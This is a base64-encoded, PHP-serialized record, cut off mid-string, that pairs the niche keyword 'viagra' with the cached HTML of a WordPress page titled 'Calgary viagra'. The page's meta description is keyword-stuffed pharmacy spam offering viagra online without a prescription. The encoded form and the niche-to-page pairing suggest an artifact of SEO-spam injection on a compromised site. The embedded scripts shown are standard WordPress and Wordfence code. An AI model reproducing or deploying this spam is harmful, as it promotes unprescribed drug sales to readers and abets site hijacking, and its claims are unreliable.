YToyOntzOjU6Im5pY2hlIjtzOjY6InZpYWdyYSI7czo0OiJodG1sIjtzOjcxNDQ1OiI8IWRvY3R5cGUgaHRtbD4KCgo8aHRtbCBjbGFzcz0ibm8tanMiIGxhbmc9ImVuLVVTIj4KCgk8aGVhZD4KCQkKPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJub2FyY2hpdmUiPgo8bWV0YSBjaGFyc2V0PSJVVEYtOCIgLz4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPnZhciB1YSA9IG5hdmlnYXRvci51c2VyQWdlbnQ7IHZhciBtZXRhID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnbWV0YScpO2lmKCh1YS50b0xvd2VyQ2FzZSgpLmluZGV4T2YoJ2FuZHJvaWQnKSA+IC0xICYmIHVhLnRvTG93ZXJDYXNlKCkuaW5kZXhPZignbW9iaWxlJykpIHx8ICgodWEubWF0Y2goL2lQaG9uZS9pKSkgfHwgKHVhLm1hdGNoKC9pUGFkL2kpKSkpeyBtZXRhLm5hbWUgPSAndmlld3BvcnQnOwltZXRhLmNvbnRlbnQgPSAndGFyZ2V0LWRlbnNpdHlkcGk9ZGV2aWNlLWRwaSwgd2lkdGg9ZGV2aWNlLXdpZHRoJzsgfXZhciBtID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ21ldGEnKVswXTsgbS5wYXJlbnROb2RlLmluc2VydEJlZm9yZShtZXRhLG0pOzwvc2NyaXB0PiAJCTxtZXRhIG5hbWU9IkF1dGhvciIgY29udGVudD0iQWl0VGhlbWVzLmNsdWIsIGh0dHA6Ly93d3cuYWl0LXRoZW1lcy5jbHViIiAvPgoKCQk8dGl0bGU+Q2FsZ2FyeSB2aWFncmE8L3RpdGxlPgo8bWV0YSBuYW1lPSJkZXNjcmlwdGlvbiIgY29udGVudD0iU29tZXRoaW5nIHRoYXQgd29ya3MgZmFzdGVyIHRoYW4gdmlhZ3JhLiBWaWFncmEgbWVkaSB0YWJzLiBQZW5pcyBlcmVjdGlvbiBwcm9ibGVtIHZpYWdyYSBjaWFseXMuIFB1cmNoYXNlIHZpYWdyYSBvbmxpbmUgbm8gcHJlc2NyaXB0aW9uLiBMb3cgYmxvb2QgcHJlc3N1cmUgdmlhZ3JhIHdhcm5pbmcuIFZpYWdyYSBwcmVtYXR1cmUgZWphY2t1bGF0aW9uLiBWaWFncmEgbm9uIHByZXNjcmlwdGlvbiBkZWFsIHNhbGUuIFdoZXJlIHRvIGJ1eSB2aWFncmEgaW4gY2FuYWRhLiBNZWRpY2FsIHVzZSBvZiB2aWFncmEuIERhbmdlcm91cyBnZW5lcmljIHZpYWdyYS4gR2VuZXJpYyB2aWFncmEgY2hlYXAgbm8gcHJlc2NyaXB0aW9uLiI+CgkJPGxpbmsgcmVsPSJwcm9maWxlIiBocmVmPSJodHRwOi8vZ21wZy5vcmcveGZuLzExIiAvPgoJCTxsaW5rIHJlbD0icGluZ2JhY2siIGhyZWY9Imh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20veG1scnBjLnBocCIgLz4KCgkJPGxpbmsgaHJlZj0iaHR0cDovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9T3N3YWxkIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiAvPgoKCQk8bGluayBpZD0iYWl0LXN0eWxlIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiBtZWRpYT0iYWxsIiBocmVmPSJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9zdHlsZS5jc3M/MTUxNjQ0NTExMyIgLz4KCjxsaW5rIHJlbD0nZG5zLXByZWZldGNoJyBocmVmPScvL21hcHMuZ29vZ2xlLmNvbScgLz4KPGxpbmsgcmVsPSdkbnMtcHJlZmV0Y2gnIGhyZWY9Jy8vcy53Lm9yZycgLz4KCgoJCTxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KCQkJd2luZG93Ll93cGVtb2ppU2V0dGluZ3MgPSB7ImJhc2VVcmwiOiJodHRwczpcL1wvcy53Lm9yZ1wvaW1hZ2VzXC9jb3JlXC9lbW9qaVwvMTFcLzcyeDcyXC8iLCJleHQiOiIucG5nIiwic3ZnVXJsIjoiaHR0cHM6XC9cL3Mudy5vcmdcL2ltYWdlc1wvY29yZVwvZW1vamlcLzExXC9zdmdcLyIsInN2Z0V4dCI6Ii5zdmciLCJzb3VyY2UiOnsiY29uY2F0ZW1vamkiOiJodHRwOlwvXC93d3cuc29jaWFsbWVkaWFycy5jb21cL3dwLWluY2x1ZGVzXC9qc1wvd3AtZW1vamktcmVsZWFzZS5taW4uanM/dmVyPTQuOS4xMCJ9fTsKCQkJIWZ1bmN0aW9uKGEsYixjKXtmdW5jdGlvbiBkKGEsYil7dmFyIGM9U3RyaW5nLmZyb21DaGFyQ29kZTtsLmNsZWFyUmVjdCgwLDAsay53aWR0aCxrLmhlaWdodCksbC5maWxsVGV4dChjLmFwcGx5KHRoaXMsYSksMCwwKTt2YXIgZD1rLnRvRGF0YVVSTCgpO2wuY2xlYXJSZWN0KDAsMCxrLndpZHRoLGsuaGVpZ2h0KSxsLmZpbGxUZXh0KGMuYXBwbHkodGhpcyxiKSwwLDApO3ZhciBlPWsudG9EYXRhVVJMKCk7cmV0dXJuIGQ9PT1lfWZ1bmN0aW9uIGUoYSl7dmFyIGI7aWYoIWx8fCFsLmZpbGxUZXh0KXJldHVybiExO3N3aXRjaChsLnRleHRCYXNlbGluZT0idG9wIixsLmZvbnQ9IjYwMCAzMnB4IEFyaWFsIixhKXtjYXNlImZsYWciOnJldHVybiEoYj1kKFs1NTM1Niw1NjgyNiw1NTM1Niw1NjgxOV0sWzU1MzU2LDU2ODI2LDgyMDMsNTUzNTYsNTY4MTldKSkmJihiPWQoWzU1MzU2LDU3MzMyLDU2MTI4LDU2NDIzLDU2MTI4LDU2NDE4LDU2MTI4LDU2NDIxLDU2MTI4LDU2NDMwLDU2MTI4LDU2NDIzLDU2MTI4LDU2NDQ3XSxbNTUzNTYsNTczMzIsODIwMyw1NjEyOCw1NjQyMyw4MjAzLDU2MTI4LDU2NDE4LDgyMDMsNTYxMjgsNTY0MjEsODIwMyw1NjEyOCw1NjQzMCw4MjAzLDU2MTI4LDU2NDIzLDgyMDMsNTYxMjgsNTY0NDddKSwhYik7Y2FzZSJlbW9qaSI6cmV0dXJuIGI9ZChbNTUzNTgsNTY3NjAsOTc5Miw2NTAzOV0sWzU1MzU4LDU2NzYwLDgyMDMsOTc5Miw2NTAzOV0pLCFifXJldHVybiExfWZ1bmN0aW9uIGYoYSl7dmFyIGM9Yi5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTtjLnNyYz1hLGMuZGVmZXI9Yy50eXBlPSJ0ZXh0L2phdmFzY3JpcHQiLGIuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImhlYWQiKVswXS5hcHBlbmRDaGlsZChjKX12YXIgZyxoLGksaixrPWIuY3JlYXRlRWxlbWVudCgiY2FudmFzIiksbD1rLmdldENvbnRleHQmJmsuZ2V0Q29udGV4dCgiMmQiKTtmb3Ioaj1BcnJheSgiZmxhZyIsImVtb2ppIiksYy5zdXBwb3J0cz17ZXZlcnl0aGluZzohMCxldmVyeXRoaW5nRXhjZXB0RmxhZzohMH0saT0wO2k8ai5sZW5ndGg7aSsrKWMuc3VwcG9ydHNbaltpXV09ZShqW2ldKSxjLnN1cHBvcnRzLmV2ZXJ5dGhpbmc9Yy5zdXBwb3J0cy5ldmVyeXRoaW5nJiZjLnN1cHBvcnRzW2pbaV1dLCJmbGFnIiE9PWpbaV0mJihjLnN1cHBvcnRzLmV2ZXJ5dGhpbmdFeGNlcHRGbGFnPWMuc3VwcG9ydHMuZXZlcnl0aGluZ0V4Y2VwdEZsYWcmJmMuc3VwcG9ydHNbaltpXV0pO2Muc3VwcG9ydHMuZXZlcnl0aGluZ0V4Y2VwdEZsYWc9Yy5zdXBwb3J0cy5ldmVyeXRoaW5nRXhjZXB0RmxhZyYmIWMuc3VwcG9ydHMuZmxhZyxjLkRPTVJlYWR5PSExLGMucmVhZHlDYWxsYmFjaz1mdW5jdGlvbigpe2MuRE9NUmVhZHk9ITB9LGMuc3VwcG9ydHMuZXZlcnl0aGluZ3x8KGg9ZnVuY3Rpb24oKXtjLnJlYWR5Q2FsbGJhY2soKX0sYi5hZGRFdmVudExpc3RlbmVyPyhiLmFkZEV2ZW50TGlzdGVuZXIoIkRPTUNvbnRlbnRMb2FkZWQiLGgsITEpLGEuYWRkRXZlbnRMaXN0ZW5lcigibG9hZCIsaCwhMSkpOihhLmF0dGFjaEV2ZW50KCJvbmxvYWQiLGgpLGIuYXR0YWNoRXZlbnQoIm9ucmVhZHlzdGF0ZWNoYW5nZSIsZnVuY3Rpb24oKXsiY29tcGxldGUiPT09Yi5yZWFkeVN0YXRlJiZjLnJlYWR5Q2FsbGJhY2soKX0pKSxnPWMuc291cmNlfHx7fSxnLmNvbmNhdGVtb2ppP2YoZy5jb25jYXRlbW9qaSk6Zy53cGVtb2ppJiZnLnR3ZW1vamkmJihmKGcudHdlbW9qaSksZihnLndwZW1vamkpKSl9KHdpbmRvdyxkb2N1bWVudCx3aW5kb3cuX3dwZW1vamlTZXR0aW5ncyk7CgkJPC9zY3JpcHQ+CgkJPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KaW1nLndwLXNtaWxleSwKaW1nLmVtb2ppIHsKCWRpc3BsYXk6IGlubGluZSAhaW1wb3J0YW50OwoJYm9yZGVyOiBub25lICFpbXBvcnRhbnQ7Cglib3gtc2hhZG93OiBub25lICFpbXBvcnRhbnQ7CgloZWlnaHQ6IDFlbSAhaW1wb3J0YW50OwoJd2lkdGg6IDFlbSAhaW1wb3J0YW50OwoJbWFyZ2luOiAwIC4wN2VtICFpbXBvcnRhbnQ7Cgl2ZXJ0aWNhbC1hbGlnbjogLTAuMWVtICFpbXBvcnRhbnQ7CgliYWNrZ3JvdW5kOiBub25lICFpbXBvcnRhbnQ7CglwYWRkaW5nOiAwICFpbXBvcnRhbnQ7Cn0KPC9zdHlsZT4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nY29udGFjdC1mb3JtLTctY3NzJyAgaHJlZj0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3BsdWdpbnMvY29udGFjdC1mb3JtLTcvaW5jbHVkZXMvY3NzL3N0eWxlcy5jc3M/dmVyPTQuOS4yJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncnMtcGx1Z2luLXNldHRpbmdzLWNzcycgIGhyZWY9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC9wbHVnaW5zL3JldnNsaWRlci9ycy1wbHVnaW4vY3NzL3NldHRpbmdzLmNzcz9yZXY9NC42LjAmIzAzODt2ZXI9NC45LjEwJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPHN0eWxlIGlkPSdycy1wbHVnaW4tc2V0dGluZ3MtaW5saW5lLWNzcycgdHlwZT0ndGV4dC9jc3MnPgoudHAtY2FwdGlvbiBhe2NvbG9yOiNmZjczMDI7dGV4dC1zaGFkb3c6bm9uZTstd2Via2l0LXRyYW5zaXRpb246YWxsIDAuMnMgZWFzZS1vdXQ7LW1vei10cmFuc2l0aW9uOmFsbCAwLjJzIGVhc2Utb3V0Oy1vLXRyYW5zaXRpb246YWxsIDAuMnMgZWFzZS1vdXQ7LW1zLXRyYW5zaXRpb246YWxsIDAuMnMgZWFzZS1vdXR9LnRwLWNhcHRpb24gYTpob3Zlcntjb2xvcjojZmZhOTAyfQo8L3N0eWxlPgo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdhaXQtanF1ZXJ5LXByZXR0eVBob3RvLWNzcycgIGhyZWY9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9jc3MvcHJldHR5UGhvdG8uY3NzP3Zlcj00LjkuMTAnIHR5cGU9J3RleHQvY3NzJyBtZWRpYT0nYWxsJyAvPgo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdhaXQtanF1ZXJ5LWZhbmN5Ym94LWNzcycgIGhyZWY9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9jc3MvZmFuY3lib3gvanF1ZXJ5LmZhbmN5Ym94LTEuMy40LmNzcz92ZXI9NC45LjEwJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nYWl0LWpxdWVyeS1ob3Zlci16b29tLWNzcycgIGhyZWY9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9jc3MvaG92ZXJab29tLmNzcz92ZXI9NC45LjEwJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nYWl0LWpxdWVyeS1mYW5jeWNoZWNrYm94LWNzcycgIGhyZWY9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9jc3MvanF1ZXJ5LmZhbmN5Y2hlY2tib3gubWluLmNzcz92ZXI9NC45LjEwJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nanF1ZXJ5LXVpLWNzcy1jc3MnICBocmVmPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vY3NzL2pxdWVyeS11aS0xLjEwLjEuY3VzdG9tLm1pbi5jc3M/dmVyPTQuOS4xMCcgdHlwZT0ndGV4dC9jc3MnIG1lZGlhPSdhbGwnIC8+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtaW5jbHVkZXMvanMvanF1ZXJ5L2pxdWVyeS5qcz92ZXI9MS4xMi40Jz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1pbmNsdWRlcy9qcy9qcXVlcnkvanF1ZXJ5LW1pZ3JhdGUubWluLmpzP3Zlcj0xLjQuMSc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC9wbHVnaW5zL2RpcmVjdG9yeS1leHRlbnNpb24tcGx1Z2luLy9saWJzL2Zyb250RW5kU2NyaXB0cy5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3BsdWdpbnMvZGlyZWN0b3J5LWV4dGVuc2lvbi1wbHVnaW4vL2xpYnMvanF1ZXJ5LmpjYXJvdXNlbC5taW4uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC9wbHVnaW5zL2RpcmVjdG9yeS1leHRlbnNpb24tcGx1Z2luLy9saWJzL2JmX3NjcmlwdC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3BsdWdpbnMvZGlyZWN0b3J5LWV4dGVuc2lvbi1wbHVnaW4vL2xpYnMvc2NyaXB0LmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvcGx1Z2lucy9yZXZzbGlkZXIvcnMtcGx1Z2luL2pzL2pxdWVyeS50aGVtZXB1bmNoLnRvb2xzLm1pbi5qcz9yZXY9NC42LjAmIzAzODt2ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3BsdWdpbnMvcmV2c2xpZGVyL3JzLXBsdWdpbi9qcy9qcXVlcnkudGhlbWVwdW5jaC5yZXZvbHV0aW9uLm1pbi5qcz9yZXY9NC42LjAmIzAzODt2ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvanF1ZXJ5LmZhbmN5Y2hlY2tib3gubWluLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkuaHRtbDUtcGxhY2Vob2xkZXItc2hpbS5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL21hcHMuZ29vZ2xlLmNvbS9tYXBzL2FwaS9qcz9rZXk9QUl6YVN5RDFuaHlySnJ5SFFFME42T1Foa29xd0VMQk0weE81ME5JJiMwMzg7c2Vuc29yPWZhbHNlJiMwMzg7bGFuZ3VhZ2U9ZW5fVVMmIzAzODt2ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvZ21hcDMuaW5mb2JveC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvZ21hcDMubWluLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkuaW5maWVsZGxhYmVsLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkucHJldHR5UGhvdG8uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2pxdWVyeS5mYW5jeWJveC0xLjMuNC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvanF1ZXJ5LmVhc2luZy0xLjMubWluLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvbGlicy9qcXVlcnkubmljZXNjcm9sbC5taW4uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2pxdWVyeS5xdWlja3NhbmQuanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2hvdmVyLnpvb20uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL2pxdWVyeS5maW5pc2hlZFR5cGluZy5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2xpYnMvc3Bpbi5taW4uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9qcy9saWJzL21vZGVybml6ci50b3VjaC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL2dyaWRnYWxsZXJ5LmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vanMvcmF0aW5nLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCc+Ci8qIDwhW0NEQVRBWyAqLwp2YXIgTXlBamF4ID0geyJhamF4dXJsIjoiaHR0cDpcL1wvd3d3LnNvY2lhbG1lZGlhcnMuY29tXC93cC1hZG1pblwvYWRtaW4tYWpheC5waHAiLCJhamF4bm9uY2UiOiJkODk5YmE2NWI0In07Ci8qIF1dPiAqLwo8L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2pzL3NjcmlwdC5qcz92ZXI9NC45LjEwJz48L3NjcmlwdD4KPGxpbmsgcmVsPSdodHRwczovL2FwaS53Lm9yZy8nIGhyZWY9J2h0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtanNvbi8nIC8+CjxsaW5rIHJlbD0iRWRpdFVSSSIgdHlwZT0iYXBwbGljYXRpb24vcnNkK3htbCIgdGl0bGU9IlJTRCIgaHJlZj0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS94bWxycGMucGhwP3JzZCIgLz4KPGxpbmsgcmVsPSJ3bHdtYW5pZmVzdCIgdHlwZT0iYXBwbGljYXRpb24vd2x3bWFuaWZlc3QreG1sIiBocmVmPSJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWluY2x1ZGVzL3dsd21hbmlmZXN0LnhtbCIgLz4gCjxsaW5rIHJlbD0iY2Fub25pY2FsIiBocmVmPSJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL2xvYy9uZXcteW9yay0yLyIgPgo8bGluayByZWw9J3Nob3J0bGluaycgaHJlZj0naHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS9sb2MvbmV3LXlvcmstMi8nIC8+CgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgooZnVuY3Rpb24odXJsKXsKCWlmKC8oPzpDaHJvbWVcLzI2XC4wXC4xNDEwXC42MyBTYWZhcmlcLzUzN1wuMzF8V29yZGZlbmNlVGVzdE1vbkJvdCkvLnRlc3QobmF2aWdhdG9yLnVzZXJBZ2VudCkpeyByZXR1cm47IH0KCXZhciBhZGRFdmVudCA9IGZ1bmN0aW9uKGV2dCwgaGFuZGxlcikgewoJCWlmICh3aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcikgewoJCQlkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKGV2dCwgaGFuZGxlciwgZmFsc2UpOwoJCX0gZWxzZSBpZiAod2luZG93LmF0dGFjaEV2ZW50KSB7CgkJCWRvY3VtZW50LmF0dGFjaEV2ZW50KCdvbicgKyBldnQsIGhhbmRsZXIpOwoJCX0KCX07Cgl2YXIgcmVtb3ZlRXZlbnQgPSBmdW5jdGlvbihldnQsIGhhbmRsZXIpIHsKCQlpZiAod2luZG93LnJlbW92ZUV2ZW50TGlzdGVuZXIpIHsKCQkJZG9jdW1lbnQucmVtb3ZlRXZlbnRMaXN0ZW5lcihldnQsIGhhbmRsZXIsIGZhbHNlKTsKCQl9IGVsc2UgaWYgKHdpbmRvdy5kZXRhY2hFdmVudCkgewoJCQlkb2N1bWVudC5kZXRhY2hFdmVudCgnb24nICsgZXZ0LCBoYW5kbGVyKTsKCQl9Cgl9OwoJdmFyIGV2dHMgPSAnY29udGV4dG1lbnUgZGJsY2xpY2sgZHJhZyBkcmFnZW5kIGRyYWdlbnRlciBkcmFnbGVhdmUgZHJhZ292ZXIgZHJhZ3N0YXJ0IGRyb3Aga2V5ZG93biBrZXlwcmVzcyBrZXl1cCBtb3VzZWRvd24gbW91c2Vtb3ZlIG1vdXNlb3V0IG1vdXNlb3ZlciBtb3VzZXVwIG1vdXNld2hlZWwgc2Nyb2xsJy5zcGxpdCgnICcpOwoJdmFyIGxvZ0h1bWFuID0gZnVuY3Rpb24oKSB7CgkJdmFyIHdmc2NyID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7CgkJd2ZzY3IudHlwZSA9ICd0ZXh0L2phdmFzY3JpcHQnOwoJCXdmc2NyLmFzeW5jID0gdHJ1ZTsKCQl3ZnNjci5zcmMgPSB1cmwgKyAnJnI9JyArIE1hdGgucmFuZG9tKCk7CgkJKGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdoZWFkJylbMF18fGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdib2R5JylbMF0pLmFwcGVuZENoaWxkKHdmc2NyKTsKCQlmb3IgKHZhciBpID0gMDsgaSA8IGV2dHMubGVuZ3RoOyBpKyspIHsKCQkJcmVtb3ZlRXZlbnQoZXZ0c1tpXSwgbG9nSHVtYW4pOwoJCX0KCX07Cglmb3IgKHZhciBpID0gMDsgaSA8IGV2dHMubGVuZ3RoOyBpKyspIHsKCQlhZGRFdmVudChldnRzW2ldLCBsb2dIdW1hbik7Cgl9Cn0pKCcvL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS8/d29yZGZlbmNlX2xoPTEmaGlkPUQxRDc5NTczMTg1RURGRjhERDRFOUJBOTExQTc0REEwJyk7Cjwvc2NyaXB0PjxsaW5rIHJlbD0iaWNvbiIgaHJlZj0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3VwbG9hZHMvMjAx